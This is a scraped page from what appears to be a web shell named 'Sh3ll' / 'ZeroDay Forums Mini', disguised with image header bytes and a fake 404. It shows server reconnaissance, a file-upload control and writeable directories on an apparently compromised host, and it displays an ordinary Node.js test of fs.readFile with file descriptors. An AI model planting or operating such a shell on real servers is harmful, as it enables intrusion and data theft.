����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/test/parallel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/test/parallel/test-fs-readfile-fd.js
'use strict';
const common = require('../common');

// Test fs.readFile using a file descriptor.

const fixtures = require('../common/fixtures');
const assert = require('assert');
const fs = require('fs');
const fn = fixtures.path('empty.txt');
const join = require('path').join;
const tmpdir = require('../common/tmpdir');
tmpdir.refresh();

tempFd(function(fd, close) {
  fs.readFile(fd, function(err, data) {
    assert.ok(data);
    close();
  });
});

tempFd(function(fd, close) {
  fs.readFile(fd, 'utf8', function(err, data) {
    assert.strictEqual(data, '');
    close();
  });
});

tempFdSync(function(fd) {
  assert.ok(fs.readFileSync(fd));
});

tempFdSync(function(fd) {
  assert.strictEqual(fs.readFileSync(fd, 'utf8'), '');
});

function tempFd(callback) {
  fs.open(fn, 'r', function(err, fd) {
    assert.ifError(err);
    callback(fd, function() {
      fs.close(fd, function(err) {
        assert.ifError(err);
      });
    });
  });
}

function tempFdSync(callback) {
  const fd = fs.openSync(fn, 'r');
  callback(fd);
  fs.closeSync(fd);
}

{
  /*
   * This test makes sure that `readFile()` always reads from the current
   * position of the file, instead of reading from the beginning of the file,
   * when used with file descriptors.
   */

  const filename = join(tmpdir.path, 'test.txt');
  fs.writeFileSync(filename, 'Hello World');

  {
    /* Tests the fs.readFileSync(). */
    const fd = fs.openSync(filename, 'r');

    /* Read only five bytes, so that the position moves to five. */
    const buf = Buffer.alloc(5);
    assert.deepStrictEqual(fs.readSync(fd, buf, 0, 5), 5);
    assert.deepStrictEqual(buf.toString(), 'Hello');

    /* readFileSync() should read from position five, instead of zero. */
    assert.deepStrictEqual(fs.readFileSync(fd).toString(), ' World');

    fs.closeSync(fd);
  }

  {
    /* Tests the fs.readFile(). */
    fs.open(filename, 'r', common.mustCall((err, fd) => {
      assert.ifError(err);
      const buf = Buffer.alloc(5);

      /* Read only five bytes, so that the position moves to five. */
      fs.read(fd, buf, 0, 5, null, common.mustCall((err, bytes) => {
        assert.ifError(err);
        assert.strictEqual(bytes, 5);
        assert.deepStrictEqual(buf.toString(), 'Hello');

        fs.readFile(fd, common.mustCall((err, data) => {
          assert.ifError(err);
          /* readFile() should read from position five, instead of zero. */
          assert.deepStrictEqual(data.toString(), ' World');

          fs.closeSync(fd);
        }));
      }));
    }));
  }
}

ZeroDay Forums Mini